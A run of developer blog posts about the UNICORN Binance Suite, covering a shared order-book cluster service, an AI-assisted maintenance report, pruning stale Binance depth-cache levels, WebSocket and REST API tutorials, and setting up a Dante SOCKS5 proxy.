• dcn (DepthCache Node) — worker processes that run the actual depth caches via UBLDC

Each DCN is one Python process, which maps nicely to one CPU core. On a single 8-core machine, you can run one management instance, one REST API, and multiple DCNs handling hundreds of depth caches.

On Kubernetes, the same pattern scales horizontally.

The important point is not the exact layout.

The important point is that your strategies no longer own the order books.

What this solves in practice

Shared data across multiple bots

Two or ten strategies can consume the same books without duplicating Binance connections or cache state.

You pay one network hop to the REST API and remove a lot of duplicated infrastructure.

Built-in redundancy and failover

A DepthCache does not have to exist only once.

With desired_quantity=2, UBDCC keeps two replicas of the same market on different DCN nodes. If one node dies, the REST API can route the request to the surviving replica. That gives you real high availability for market data instead of hoping that one local in-process cache stays alive.

This is one of the biggest differences compared to the usual “every bot keeps its own order book” setup. In the usual model, redundancy is accidental and inconsistent. In UBDCC, redundancy is explicit and controlled.

Language-agnostic access

A frontend or support tool does not need to understand Binance stream semantics, sequence handling, reconnect logic, or Python internals.

It makes an HTTP request and gets JSON back.

That is a huge simplification.

Better scaling under rate limits

UBDCC can distribute workload across multiple machines and therefore across multiple public IPs.

That spreads snapshot initialization and reconnect load. Since version 0.4.0, it can also assign optional Binance API credentials across nodes to benefit from higher authenticated rate limits where applicable.

No credentials are required for public endpoints. The authenticated path is optional.

What it looks like to use

Install:

pip install ubdcc

Start a local cluster with four DepthCache nodes:

ubdcc start --dcn 4

Create some shared depth caches:

curl -X POST 'http://127.0.0.1:42081/create_depthcaches' \
  -H 'Content-Type: application/json' \
  -d '{"exchange": "binance.com", "markets": ["BTCUSDT", "ETHUSDT"], "desired_quantity": 2}'

Query the top 5 asks:

curl 'http://127.0.0.1:42081/get_asks?exchange=binance.com&market=BTCUSDT&limit_count=5'

That is the whole idea: create once, consume anywhere.

For a full practical walkthrough with the dashboard, replicas, failover test, REST calls, and generated client snippets, see: From pip install to a Redundant Binance Order Book Cluster — UBDCC + Dashboard Quickstart

Python users are not locked out

If you already use UBLDC for local order books, the cluster interface is built in.

You can point BinanceLocalDepthCacheManager at UBDCC and keep using familiar sync or async methods:

from unicorn_binance_local_depth_cache import BinanceLocalDepthCacheManager, DepthCacheClusterNotReachableError
import asyncio

async def main():
    await ubldc.cluster.create_depthcaches_async(
        exchange="binance.com",
        markets=["BTCUSDT", "ETHUSDT"],
        desired_quantity=2,
    )
    while not ubldc.is_stop_request():
        print(await ubldc.cluster.get_asks_async(
            exchange="binance.com",
            market="BTCUSDT",
            limit_count=5
        ))

try:
    with BinanceLocalDepthCacheManager(
        exchange="binance.com",
        ubdcc_address="127.0.0.1",
        ubdcc_port=42081
    ) as ubldc:
        asyncio.run(main())
except DepthCacheClusterNotReachableError as exc:
    print(f"ERROR: {exc}")

So UBDCC is not an alternative to Python-native workflows.

It is the shared infrastructure layer underneath them.

Why I trust it

There are four parts that matter to me.

It does not silently serve stale books

UBDCC is built on UBLDC, which validates Binance sequence numbers, re-syncs on gaps, and handles orphaned levels correctly instead of leaving ghost entries in the book.

A shared DepthCache is only useful if consumers also know its state. UBDCC does not just hold the cache — it knows whether that cache is actually in sync, re-synchronizing, or temporarily not safe to use. That is exactly the information a serious strategy needs before trusting market data.

If a book is re-syncing, that state is explicit.

That matters more than most people think.

I wrote a separate deep dive on the orphaned-level problem here: Your Binance Order Book Is Wrong — Here's Why

That post explains why a Binance-compatible local order book can look correct while silently accumulating stale price levels over time.

Failover is transparent

Depth caches can run redundantly across nodes. In practice that means you can keep the same cache twice and survive the loss of one DCN without losing the market view for that symbol.

If one node fails, requests are routed to another replica. But the failover is not hidden. Responses can report that a failover happened and which pod failed before the request succeeded.

That is how infrastructure should behave: resilient, but observable.

The cluster manages its own state

Cluster state is replicated internally across nodes.

If the management process dies, it can recover from the most recent surviving state. No external Redis or etcd dependency is required just to keep the cluster alive.

It is fast enough to be infrastructure

The stack is async end-to-end, and the core packages are Cython-compiled. In practice, this means low latency and enough throughput to make “shared order book as a service” actually usable instead of theoretically neat.

What UBDCC is not

It is not:

• a strategy engine

• a backtesting platform

• an execution engine

• a “make money with crypto” framework

It serves live order book data.

That is its job.

Who should look at it

A solo developer running multiple bots

You want one shared market-data layer instead of duplicate depth caches all over the machine.

A team with several services consuming the same books

You want bots, dashboards, alerts, and internal tools reading from one consistent source.

A larger setup running into rate-limit and scaling pain

You want to spread load across nodes, IPs, and optional authenticated request budgets.

If none of this sounds familiar, you probably do not need UBDCC yet.

But when the question becomes:

“Can my second bot read the same order book without rebuilding everything?”

Then you are already in UBDCC territory.

Why I think this matters

There are many examples online showing how to build a Binance bot.

There is far less material about what happens when one bot becomes several consumers, several services, several machines, and real infrastructure concerns.

That gap is exactly why I built this.

Not because the architecture is magical.

Because at some point it becomes the obvious architecture — and building it yourself is annoying, time-consuming, and easy to get wrong.

Try it

If your order books are trapped inside individual bot processes, UBDCC is the escape hatch.

• GitHub repository

• Documentation and API reference

• Telegram community

UBDCC is MIT-licensed and part of the UNICORN Binance Suite.

I hope you found this tutorial informative and enjoyable!

Follow me on Binance Square, GitHub, X and LinkedIn to stay updated on my latest releases. Your constructive feedback is always appreciated!

Thank you for reading, and happy coding!

WebSocket streams, REST APIs, local order books, trailing stops, Kubernetes depth cache clusters — the kind of infrastructure that normally has a team behind it.

It doesn’t. It has me.

Last week I gave Claude Code commit access via a dedicated GitHub account
(@oliver-zehentleitner-aigent) and pointed it at the backlog.

One week later:

Work that would have taken me weeks to months was done.

Notably:

• 500+ files changed

• 100+ PRs created

• 7 repositories fully synchronized and updated

• entire UBS stack released and brought up to current state

• all known bug reports closed

• ~€100 cost

This is not hype. This is a field report.

The Backlog

Years of solo-maintainer entropy:

• LUCIT branding everywhere (7 repos, hundreds of files)

• Custom LSOSL license blocking contributors

• Python 3.7 baseline (in 2026)

• A core repo with no release for 4 years

• CI pipelines that barely validated anything

• Dead services, dead links, dead integrations

Individually trivial. Collectively unmaintainable.

That’s the key failure mode: not complexity, but accumulation.

The Setup (Guardrails First)

Before letting an agent touch production code, I built constraints.

Dedicated Git Identity

Everything runs through a separate account:
@oliver-zehentleitner-aigent

Full transparency:

• every commit is traceable

• no hidden automation

• no impersonation

CLAUDE.md — Project Constitution

Each repo defines strict rules:

• communication style (German chat, English code)

• forbidden actions (e.g. versioning scripts, direct commits to merged PRs)

• architectural context

It helps. It does not guarantee compliance. Drift still happens.

AGENTS.md + TASKS.md

• AGENTS.md: architecture + conventions

• TASKS.md: living backlog per repo

• UBS-TASKS.md: cross-repo coordination

Fork + PR Workflow

No direct pushes.

Everything: fork → branch → PR → review → merge

This is non-negotiable for production-grade OSS.

What the Agent Actually Did

We executed bottom-up through the dependency stack:

UnicornFy → UBRA → UBWA → UBLDC → UBDCC → UBTSL → UBS

Day 1–2: Foundation Repos

• Replace all LUCIT branding

• Switch LSOSL → MIT

• Raise Python baseline to 3.9–3.14

• Expand CI across versions

• Fix documentation and metadata consistency

Day 3: UBTSL (the worst one)

No release in 4 years. Broken startup due to licensing dependency.

The agent:

• removed entire licensing system

• fixed CI (geo-blocked endpoints, artifact merging bug)

• repaired PyPI wheel publishing

• resolved 3-year-old PR conflicts

Day 4–5: Suite-wide Cleanup

• removed dead Gitter integrations

• fixed issue templates across repos

• normalized exchange lists

• removed deprecated endpoints

Day 5: README Rewrite

• install-first onboarding

• metrics-driven introduction

• architecture diagram

• comparison table

• copy-paste examples

Day 6: AI-Native Documentation

Introduced llms.txt across all repos.

Meta-layer shift: AI writing docs for other AIs.

Day 7: Releases, Stabilization & Full Stack Sync

This is where things became more interesting than planned.

During execution the agent identified two independent race conditions in core streaming and order-handling paths. These were subtle timing issues that had not surfaced in production yet, but were structurally real and reproducible under load.

After fixing them, we did not just ship isolated patches — we executed a full stack alignment:

• UBTSL 1.3.0 released (first release in 4 years)

• UBS 2.1.0 released

• all dependent repositories updated and republished

• full UBS ecosystem brought to a consistent, current version state

• all known bug reports across the stack closed

Net effect: the entire suite is now not just “maintained”, but structurally consistent again.

Cost Model

• Claude Pro Max: ~€100/month

• Time: ~1 week active steering

The real cost is not money. It is decision bandwidth.

The Workflow That Worked

1. Analyze state together

2. Agree on direction

3. Define scope

4. Execute

5. Review and correct

What Worked

• Cross-repo pattern replication

• CI + packaging bug discovery

• Merge conflict resolution

• Parallel PR execution

• Documentation iteration speed

• Structural bug detection in production-adjacent code paths

What Didn’t

• Context limits

• Premature execution

• Tone issues in marketing copy

• Occasional hallucinated assumptions

• Git sync conflicts

Operating Model

The agent behaves like a very fast staff engineer:

• never bored

• never inconsistent

• never skipping files

• still needs direction

The Real Shift

Most OSS maintenance is not engineering.

It is:

• version updates

• CI fixes

• link rot

• dependency drift

• template maintenance

AI agents are extremely good at this.

Outcome

The suite is now:

• consistently MIT licensed

• Python 3.9–3.14

• CI-clean across repos

• structurally unified

• fully up to date across the entire stack

• all known bug reports resolved

• properly documented

• partially AI-native (llms.txt)

• significantly more stable under real-world load

What’s Next

• UBRA v3 architecture rewrite

• deeper feature-level agent collaboration

• defining the boundary of autonomy

This article was drafted with assistance from an AI agent, iterated through review loops, and finalized by me.

UNICORN Binance Suite — production-grade Python infrastructure for Binance trading systems.

I hope you found this tutorial informative and enjoyable!

Follow me on GitHub, X and LinkedIn to stay updated on my latest releases. Your constructive feedback is always appreciated!

I am not talking about reconnect logic, sequence gaps, or the well-known initial-snapshot race condition. Those are documented and most libraries handle them. I am talking about a class of stale entries that accumulate silently in your depth cache because Binance never tells you they should be gone.

Update / follow-up: I later ran a 25-hour forensic benchmark to measure this failure mode with two DepthCache implementations running side by side on the same BTCUSDT WebSocket stream.

The full benchmark, interactive 3D charts, raw audit data, and GitHub repository are here:

Your Binance DepthCache is rotting — here's the proof in 25 hours

This came up while I was maintaining UNICORN Binance Local Depth Cache (UBLDC). A user reported unbounded growth in their order book — and when I investigated, it turned out to be a gap in Binance's own synchronization spec, not a library bug. The fix was straightforward, but it is not in Binance's documentation, and I have not seen it handled in any other library.

How a depth cache is supposed to work

This is Binance's official algorithm, documented in "How to manage a local order book correctly". Quick refresher for people who have not built one:

1. You open a WebSocket stream for diff updates (@depth).

2. You request a REST snapshot of the current order book.

3. You discard any updates whose sequence number is older than the snapshot.

4. You apply the remaining updates to the snapshot in order.

5. From now on, every diff update arrives in real time and you mutate your local copy.

A diff update is a list of price levels. For each level you receive a price and a quantity. If the quantity is 0, the level is gone — you delete it from your book. Otherwise you set the quantity for that price level.

That is the whole protocol. Snapshot, apply diffs, handle the 0-quantity delete event. Done.

Except it is not done.

The part Binance does not tell you

Binance's depth snapshots cover the top 1000 price levels on each side. The diff stream sends you updates for any level that changes — but only for levels that are currently in the top 1000.

The moment a price level drops out of the top 1000 because more aggressive activity pushes it down, Binance stops sending updates for that level. Not just stops — never sends another update again, including no 0-quantity delete event.

If you followed the documented protocol, that level stays in your local copy forever. Your bid book still claims there is meaningful resting size at a price that has not been part of the real order book for hours, days, weeks — however long your process has been running.

These are what I call orphaned entries. Ghost orders. Levels that exist only in your memory, with no representation on the actual exchange.

Why this is easy to miss

A few reasons this stays invisible long enough to ship into production:

It does not break anything obvious. Your top-of-book is fine because the top-of-book gets updated most aggressively. If you only ever read asks[0] and bids[0], you will never notice. The corruption builds up at the edges of the book where you stop looking.

The numbers look plausible. A stale ask at $63,247.50 with 0.4 BTC quantity is a perfectly reasonable-looking number. Nothing about it screams "I am a fossil from three hours ago." A volume aggregator summing quantities will return larger numbers than reality, but it will not return obviously wrong numbers.

Spot-checking against the REST snapshot does not catch it. If you periodically pull a fresh snapshot and compare, you will see differences — but you will attribute them to the snapshot being a different moment in time. That is plausible. The actual cause — that levels have silently fallen off your stream — is not an obvious hypothesis.

Documented behavior matches buggy behavior. Binance's documentation describes how to apply diff updates. It does not warn you that a level that disappears from the top 1000 will never be corrected. So if you followed the docs to the letter, your code looks correct against the spec. The spec is just incomplete.

How this was found

A user reported that their asks and bids lists were growing without any bound. Starting at around 1000 entries, the count kept climbing — slowly but monotonically. After 15 minutes, already noticeably above 1000. After hours, thousands of levels on each side with no churn at the bottom of the book.

At first glance it looked like a library bug. But when I dug into it, I realized the library was doing exactly what Binance's documentation says to do. The problem was upstream — in the spec itself.

I went back to the Binance documentation. There was no mention of bottom-of-book eviction. I tested it: created a cache, waited for active levels to roll off the top 1000, and watched whether any correction arrived for a known stale level. Nothing. The level was orphaned, and Binance had no mechanism to tell the client about it.

That was the moment it stopped being "there might be a bug in the apply-diff logic" and became "Binance's documented protocol is incomplete, and every implementation that follows it strictly is accumulating ghost entries."

The fix

The fix is conceptually simple: prune everything beyond the top 1000 levels.

UBLDC does this in _clear_orphaned_depthcache_items(). After processing a depth update, the cache is sorted by price (descending for bids, ascending for asks) and anything past position 1000 is deleted.

def _clear_orphaned_depthcache_items(self, market, side, limit_count=1000):
    reverse = (side == "bids")
    sorted_items = [
        [price, float(quantity)]
        for price, quantity
        in list(self.depth_caches[market][side].items())
    ]
    orphaned_items = sorted(
        sorted_items, key=itemgetter(0), reverse=reverse
    )[limit_count:]
    for item in orphaned_items:
        del self.depth_caches[market][side][str(item[0])]

The reasoning:

• Anything Binance still cares about will be inside the top 1000 and will keep getting diff updates.

• Anything outside the top 1000 is, by Binance's own definition, not part of the snapshot you would get if you re-pulled right now.

• So evicting it is correct: it brings your local copy into the same consistency window Binance guarantees.

The cost is one sort per update per side. For 1000 entries on a hot pair this is microseconds. UBLDC absorbs it inside the WebSocket event loop with no measurable impact on throughput.

Why this matters even if you "only need top of book"

Memory growth is real. A long-lived process accumulating thousands of dead price levels per market per side, across hundreds of markets, becomes a real memory cost. Not a leak in the technical sense, but unbounded growth that nothing in Binance's protocol will stop.

Volume-based queries break. If you ever ask "what is the total bid volume below this price" or "what price level holds the next $1M of asks", stale entries are polluting your answer. Market depth charts will be subtly wrong in ways that compound the longer the process runs.

Book-shape logic breaks. Anything that compares against book width, density, or the relationship between price levels is reading partly from a fossil record. Strategies that look at order book shape — common in market-making and liquidity-provision — will be making decisions based on data that is half real and half archaeological.

What to do about it

You have three options, depending on what you are building:

1. Prune yourself. Periodically take the lowest-priced bids and highest-priced asks beyond the depth you care about and remove them. Six lines of Python. Works with any library.

2. Use UBLDC in your Python project. UNICORN Binance Local Depth Cache handles this plus reconnect logic, sequence validation, multi-market management, and automatic resync on gap detection. MIT licensed, 220K+ PyPI downloads.

3. Use UBDCC if you want it as a service. This is the option I would recommend if you are not married to a specific language or if you run multiple bots. UNICORN DepthCache Cluster runs UBLDC as a background service and exposes order book data via REST API — accessible from Python, Node.js, Go, Rust, or anything that speaks HTTP:

pip install ubdcc
ubdcc start

That gives you a local REST API where any process can query consistent, pruned, auto-recovering order book data. No WebSocket management, no orphaned entries, no initialization wait on restart. Your bots connect to the service; the service handles the hard parts.

Either way, do not rely on the Binance diff stream alone to keep your book consistent past the active edge. The protocol does not guarantee what most documentation implies.

If you want the architectural reasoning behind running this as shared infrastructure instead of embedding it inside every bot, I wrote that up here: Why Your Binance Order Book Should Not Live Inside Your Bot

And if you just want to try the cluster directly, start here: From pip install to a Redundant Binance Order Book Cluster — UBDCC + Dashboard Quickstart

Why I wrote this

Since fixing this, I have seen the same question come up in different forms — "why does my depth cache use so much memory after a few hours?", "why is my book deeper than the REST snapshot?", "why are there bids at prices that haven't been seen in days?" I would rather link to one explanation than retype it.

This is the kind of finding that does not have a CVSS score and will not get a Binance changelog entry. It is a gap between "what the docs say" and "what actually happens at the protocol level", and the only way it gets fixed in the wider ecosystem is by being written down with code.

UNICORN Binance Local Depth Cache — MIT, 220K+ downloads · The fix is in manager.py, function _clear_orphaned_depthcache_items().

UNICORN DepthCache Cluster — Consistent order book data as a REST service. pip install ubdcc && ubdcc start. Any language, any number of clients.

Suggested reading path:

• Why Binance order books silently go wrong

• Why the order book should not live inside your bot

• How to run UBDCC locally in minutes

I hope you found this tutorial informative and enjoyable!

Follow me on Binance Square, GitHub, X and LinkedIn to stay updated on my latest releases. Your constructive feedback is always appreciated!

Thank you for reading, and happy coding!

Recently, the Binance Spot Testnet and Binance Spot have added the ability to place orders, cancel orders, and handle other API requests via a WebSocket connection:

Binance WebSocket API Documentation

In Python, UNICORN Binance WebSocket API already supports the new features to send API requests to Binance via WebSocket. To do this, we will go through the following steps:

1. Binance

   — Account

   — API key and API secret

2. Installation of requirements

   — PIP

   — Conda

3. Create a Python script and establish a WebSocket API connection to Binance

4. Send requests and handle the responses

   — Global async function

   — Global callback function

   — Stream specific async function

   — Stream specific callback function

   — Request specific callback function

   — Save answer in variable

   — Using the stream_buffer

   — Multiple API Streams

5. Available methods for API requests

   — ubwa.api.spot.cancel_order()

   — ubwa.api.spot.create_order()

6. Further information

1. Binance

Account

To be able to trade on Binance you need a user account. If you don't have one yet, you can sign up via my referral link. With this we both get 100 USDT cashback vouchers for a 50 USD deposit.

API key and API secret

How to create an API Key/Secret pair you can read in detail here.

2. Installation of requirements

Minimum requirement is a working Python 3.9+ installation. To use the UNICORN Binance WebSocket API in your Python script, you need to install it on the command line using one of the two commands:

With PIP:

This is the default way and should always work. It contains the plain source code and optimized Cython and PyPy Wheels:

pip install unicorn-binance-websocket-api

Or with Conda:

This is only possible within an Anaconda environment:

conda install -c conda-forge unicorn-binance-websocket-api

3. Create a Python script and establish a WebSocket API connection to Binance

First we import unicorn_binance_websocket_api, define the callback function handle_socket_message() to print the received data and then store an instance of BinanceWebSocketApiManager() in the variable ubwa.

If you want to connect BinanceWebSocketApiManager() to the testnet, you need to pass the string 'binance.com-testnet' to the exchange parameter.

With process_stream_data=handle_socket_message we pass BinanceWebSocketApiManager() a global callback function, to this function all received responses of the API are passed by default.

By default, all API requests return a string with a JSON structure. To automatically convert the JSON structure to a Python dictionary, we configure output_default="dict".

https://gist.github.com/oliver-zehentleitner/5a5d739710400c8fbd9f04833c4bf1dc

Next we create the API stream, for this it is important to set the parameter api to True, otherwise a connection to another WebSocket endpoint would be established, where the API requests would not work. Please make sure that you use a valid API key/secret pair and consider the IP whitelist restrictions when testing!

https://gist.github.com/oliver-zehentleitner/b31adc37450a7a45752adb459c6b71d6

Now all the prerequisites are met for us to send and process requests to the Binance API.

4. Send requests and handle the responses

Note: According to this scheme all methods of ubwa.api can be called and executed.

Using the ubwa.api object we can now send requests to the Binance API, e.g. a connection test with the ubwa.api.spot.ping() method.

There are several ways to handle the API requests:

• Global async function

• Global callback function

• Stream specific async function

• Stream specific callback function

• Request specific callback function

• Save answer in variable

• Using the stream_buffer

• Multiple API Streams

Global async function

When receiving the response from Binance, the function handle_socket_message() is executed which we passed when initiating BinanceWebSocketApiManager(), and this is where you can hook your code.

In our example, we simply output the received data:

https://gist.github.com/oliver-zehentleitner/576ab4518ecbca583c3eec209533def1

Output:

Received data:
{"id":"1cc8812a0c6b-08aa-6098-2742-ac0cedc8","status":200,"result":{},"rateLimits":[{"rateLimitType":"REQUEST_WEIGHT","interval":"MINUTE","intervalNum":1,"limit":1200,"count":2}]}

I will use the example with ubwa.api.spot.ping() to introduce the other methods how you can receive and process the received data.

Global callback function

When receiving the response from Binance, the function handle_socket_message() is executed which we passed when initiating BinanceWebSocketApiManager(), and this is where you can hook your code.

In our example, we simply output the received data:

https://gist.github.com/oliver-zehentleitner/576ab4518ecbca583c3eec209533def1

Output:

Received data:
{"id":"1cc8812a0c6b-08aa-6098-2742-ac0cedc8","status":200,"result":{},"rateLimits":[{"rateLimitType":"REQUEST_WEIGHT","interval":"MINUTE","intervalNum":1,"limit":1200,"count":2}]}

Stream specific callback function

It is possible to pass a callback function to ubwa.create_stream() as well. Then, for receiving responses from this stream, the stream specific callback function is used instead of the global callback function we passed to BinanceWebSocketApiManager().

https://gist.github.com/oliver-zehentleitner/461a06fef1d809dd104e241599ab0f20

Now we can run ping again and this time we would use the callback function handle_stream_message() instead of handle_socket_message().

https://gist.github.com/oliver-zehentleitner/576ab4518ecbca583c3eec209533def1

Output:

Received stream data:
{"id":"1cc8812a0c6b-08aa-6098-2742-ac0cedc8","status":200,"result":{},"rateLimits":[{"rateLimitType":"REQUEST_WEIGHT","interval":"MINUTE","intervalNum":1,"limit":1200,"count":2}]}

Request specific callback function

Since not all types of data are treated the same way, there is also the possibility to process responses of a specific request with a specific callback function.

https://gist.github.com/oliver-zehentleitner/863f346969bbbe315ab808ca6e658013

Output:

Received ping response:
{"id":"1cc8812a0c6b-08aa-6098-2742-ac0cedc8","status":200,"result":{},"rateLimits":[{"rateLimitType":"REQUEST_WEIGHT","interval":"MINUTE","intervalNum":1,"limit":1200,"count":2}]}

Save answer in variable

There is also the possibility to let the called function wait until the response to the request has arrived and then store it directly into a variable. The disadvantage of this method is that the function becomes blocking, whereby several requests can only be processed sequentially.

https://gist.github.com/oliver-zehentleitner/57e1a32959b2019c62e0254f2ad19726

Output:

Awaited ping response:
{"id":"1cc8812a0c6b-08aa-6098-2742-ac0cedc8","status":200,"result":{},"rateLimits":[{"rateLimitType":"REQUEST_WEIGHT","interval":"MINUTE","intervalNum":1,"limit":1200,"count":2}]}

Using the stream_buffer

A completely different approach than the callback functions is the stream_buffer. This is the standard way of BinanceWebSocketApiManager() to process received data, here all received data is stored in a deque() stack and can be used as FIFO as well as LIFO stack to read the received data in a loop.

The main advantage of this solution is the desynchronization between receiving and processing the new data.

What does this mean? UBWA receives the new data in an AsyncIO event loop and processes them asynchronously. This means that the data is not received and processed sequentially, but that the callback functions within the event loop are started in parallel for each data record received, which can easily push your system to its limits during peak load times, e.g. if you receive more data faster than you can store in your database over a longer period for speed reasons.

Because each received record is simply stored in the stream_buffer, the processing is immediately finished for UBWA. You can easily access the new data in the stream_buffer in another thread or better another process and adjust the processing time to your circumstances. Additionally the stream_buffer can be monitored by you and offers further options.

As already mentioned the stream_buffer is the standard method of UBWA and is simply overwritten by setting the callback functions. So if you want to use it, do not pass a callback function in the class initialization of BinanceWebSocketApiManager() or anywhere else.

One way to use callback functions everywhere and still use the stream_buffer in a special situation is to explicitly pass ubwa.add_to_stream_buffer as callback function.

Of course it is also possible to use different stream_buffer, how to do that is described in the wiki.

I now choose a simple example with only one global stream_buffer. If you have now simply omitted passing the callback functions, the global stream_buffer is activated by default and your stream will write its data there.

Hereby you get access to the oldest record in the stack:

https://gist.github.com/oliver-zehentleitner/96d5789f65761f08069b25229ec83af9

Note: If the stream_buffer is empty, ubwa.pop_stream_data_from_stream_buffer() returns the boolean value False!

For example, if you have problems with your database, you can catch the exception of the database connection in a try block and use ubwa.add_to_stream_buffer() in the except block to save the record back into the stream_buffer and simply retrieve it later. Unfortunately, this messes up the chronological sorting! 🤨

https://gist.github.com/oliver-zehentleitner/241061d809c76ac1b08013a9ee40386c

Multiple API streams

If there is more than one API stream (with api=True), the methods must be told which stream to use. The stream_id is used to uniquely identify the streams and is returned by ubwa.create_stream(), alternatively you can also work with a stream_label. For this to work, a stream_label must also be defined when creating the stream with ubwa.create_stream().

Example with stream_id:

https://gist.github.com/oliver-zehentleitner/7fc0c1ed65fa96bd9e65f3173143c17d

Example with stream_label:

https://gist.github.com/oliver-zehentleitner/b2634fd6c45574b460c3fde8414f278c

5. Available methods for API requests

Note: Actions executed via WebSocket are subject to the same filters and rate restrictions as when executed via the REST API, and are also functionally equivalent: they provide the same functionality, accept the same parameters, and return the same status and error codes.

Each API request has its own list of accepted and mandatory parameters, gives different responses, and is subject to different request limits. To understand what is happening in the background, it is always advisable to also study the official documentation of Unicorn Binance WebSocket API and the Binance WebSocket API.

• ubwa.api.spot.cancel_order()

• ubwa.api.spot.create_order()

Cancel open orders

Cancel all open orders on a symbol, including OCO orders.

Docs: UBWA, Binance

If you cancel an order that is a part of an OCO pair, the entire OCO is canceled.

https://gist.github.com/oliver-zehentleitner/1ca32c20ff397e91f3466f788a718a6e

Output:

{"id":"d37149a608c4-7951-fbbb-33f6-93d68e2d","status":200,"result":{"symbol":"BUSDUSDT","origClientOrderId":"1","orderId":942396461,"orderListId":-1,"clientOrderId":"rkAnxL9oEZr7wzKaCMiAuQ","price":"1.00000000","origQty":"15.00000000","executedQty":"0.00000000","cummulativeQuoteQty":"0.00000000","status":"CANCELED","timeInForce":"GTC","type":"LIMIT","side":"SELL","selfTradePreventionMode":"NONE"},"rateLimits":[{"rateLimitType":"REQUEST_WEIGHT","interval":"MINUTE","intervalNum":1,"limit":1200,"count":3}]}

Cancel an order

Cancel an active order.

Docs: UBWA, Binance

If you cancel an order that is a part of an OCO pair, the entire OCO is canceled.

https://gist.github.com/oliver-zehentleitner/1ca32c20ff397e91f3466f788a718a6e

Output:

{"id":"d37149a608c4-7951-fbbb-33f6-93d68e2d","status":200,"result":{"symbol":"BUSDUSDT","origClientOrderId":"1","orderId":942396461,"orderListId":-1,"clientOrderId":"rkAnxL9oEZr7wzKaCMiAuQ","price":"1.00000000","origQty":"15.00000000","executedQty":"0.00000000","cummulativeQuoteQty":"0.00000000","status":"CANCELED","timeInForce":"GTC","type":"LIMIT","side":"SELL","selfTradePreventionMode":"NONE"},"rateLimits":[{"rateLimitType":"REQUEST_WEIGHT","interval":"MINUTE","intervalNum":1,"limit":1200,"count":3}]}

Create an order

Create a new order.

Docs: UBWA, Binance

ubwa.api.spot.create_order() automatically creates a client_order_id and returns it. This way you can always uniquely identify the order in further steps.

https://gist.github.com/oliver-zehentleitner/adf377f0c26740e7195d45d5f6bf93b3

Output:

{"id":"4db8f58ee69e-d597-fb26-8551-786707fa","status":200,"result":{"symbol":"BUSDUSDT","orderId":942394911,"orderListId":-1,"clientOrderId":"1","transactTime":1680911574690,"price":"1.00000000","origQty":"15.00000000","executedQty":"0.00000000","cummulativeQuoteQty":"0.00000000","status":"NEW","timeInForce":"GTC","type":"LIMIT","side":"SELL","workingTime":1680911574690,"fills":[],"selfTradePreventionMode":"NONE"},"rateLimits":[{"rateLimitType":"ORDERS","interval":"SECOND","intervalNum":10,"limit":50,"count":1},{"rateLimitType":"ORDERS","interval":"DAY","intervalNum":1,"limit":160000,"count":20},{"rateLimitType":"REQUEST_WEIGHT","interval":"MINUTE","intervalNum":1,"limit":1200,"count":4}]}

6. Further information

There are many other functions to send requests to the Binance API.

If you find bugs or have suggestions for improving the API implementation, you can open an issue via GitHub.

For more information please read the documentation for unicorn-binance-websocket-api.

I hope you found this tutorial informative and enjoyable!

Follow me on Binance Square, GitHub, X and LinkedIn to stay updated on my latest releases. Your constructive feedback is always appreciated!

Thank you for reading, and happy coding!

The following instructions are for Debian and Ubuntu — for CentOS, RedHat, AWS EC2 and other Linux distributions that use yum as a package manager please follow these instructions.

If you are still looking for a server for this project, I can recommend the cx31 server for 4.51 EUR/month with 20TB traffic volume from the European provider HETZNER CLOUD.

Step 1 — Install danted

Project homepage: https://www.inet.no/dante/

Log into your Linux server and get root privileges:

sudo -i

Install with apt:

apt update
apt install dante-server

Info: After installation dante does not work yet and will throw errors — it has not been configured yet!

Verify the installation:

danted -v

Info: In Ubuntu and other distributions danted can also be called sockd.

Edit the config file with nano or vi:

nano /etc/danted.conf

or

vi /etc/danted.conf

Set the following configuration. Replace 1.2.3.4 with your client IP or use 0.0.0.0/0 as wildcard (please consider your security concept!):

logoutput: stderr
logoutput: /var/log/danted.log
internal: eth0 port = 1080
external: eth0
socksmethod: username none #rfc931
client pass {
    from: 1.2.3.4/32 to: 0.0.0.0/0
    log: connect disconnect error
}
socks pass {
    from: 1.2.3.4/32 to: 0.0.0.0/0
    log: connect disconnect error
}

Start danted:

systemctl start danted

Check the status:

systemctl status danted

If desired, enable autostart:

systemctl enable danted

You can now connect to the SOCKS5 proxy via the public server IP on port 1080.

If you have chosen a server from HETZNER CLOUD, here is a detailed step by step Dante SOCKS5 Proxy installation guide tailored to Hetzner servers.

Step 2 — Test the SOCKS5 Proxy

There are many ways to test the new SOCKS5 proxy.

**Firefox:**Settings → search for proxy → enter the SOCKS5 proxy address and port number. Open https://ipchicken.com and check the IP address.

Putty: Open Putty and click on Connection → Proxy → enter the SOCKS5 proxy address and port number. Open a SSH connection.

curl: This should return your public IP address:

curl -x socks5://<your_ip_server>:<your_danted_port> ifconfig.co

I hope you found this tutorial informative and enjoyable!

Follow me on GitHub, X and LinkedIn to stay updated on my latest releases. Your constructive feedback is always appreciated!

Image source: pixabay.com

We use the unicorn-binance-rest-api package:

• PyPI: https://pypi.org/project/unicorn-binance-rest-api

• Documentation: https://oliver-zehentleitner.github.io/unicorn-binance-rest-api

• GitHub: https://github.com/oliver-zehentleitner/unicorn-binance-rest-api

Installation

Install via pip:

pip install unicorn-binance-rest-api

Or via conda:

conda install -c conda-forge unicorn-binance-rest-api

Alternatively download the latest release or clone the repository to run the examples locally:

git clone git@github.com:oliver-zehentleitner/unicorn-binance-rest-api.git

How to use BinanceRestApiManager?

Import BinanceRestApiManager and create an instance:

from unicorn_binance_rest_api.manager import BinanceRestApiManager

ubra = BinanceRestApiManager(exchange="binance.com")

Configure logging — use DEBUG instead of INFO for a very verbose mode:

import logging
import os

logging.getLogger("unicorn_binance_rest_api")
logging.basicConfig(level=logging.INFO,
                    filename=os.path.basename(__file__) + '.log',
                    format="{asctime} [{levelname:8}] {process} {thread} {module}: {message}",
                    style="{")

Now you can execute various methods via the ubra instance:

# Get market depth
depth = ubra.get_order_book(symbol='BNBBTC')
print(f"depth: {depth}")

# Get all symbol prices
prices = ubra.get_all_tickers()
print(f"prices: {prices}")

# Get used weight
used_weight = ubra.get_used_weight()
print(f"weight: {used_weight}")

# Retrieve 30-minute klines for the last month of 2021
klines_30m = ubra.get_historical_klines("BTCUSDT", "30m", "1 Dec, 2021", "1 Jan, 2022")
print(f"klines_30m:\r\n{klines_30m}")

For private data, provide API credentials when creating the instance:

api_key = "aaa"
api_secret = "bbb"

ubra = BinanceRestApiManager(api_key=api_key,
                             api_secret=api_secret,
                             exchange="binance.com")

Get private data:

# Get account info
account = ubra.get_account()
print(f"account: {account}")

# Get all orders
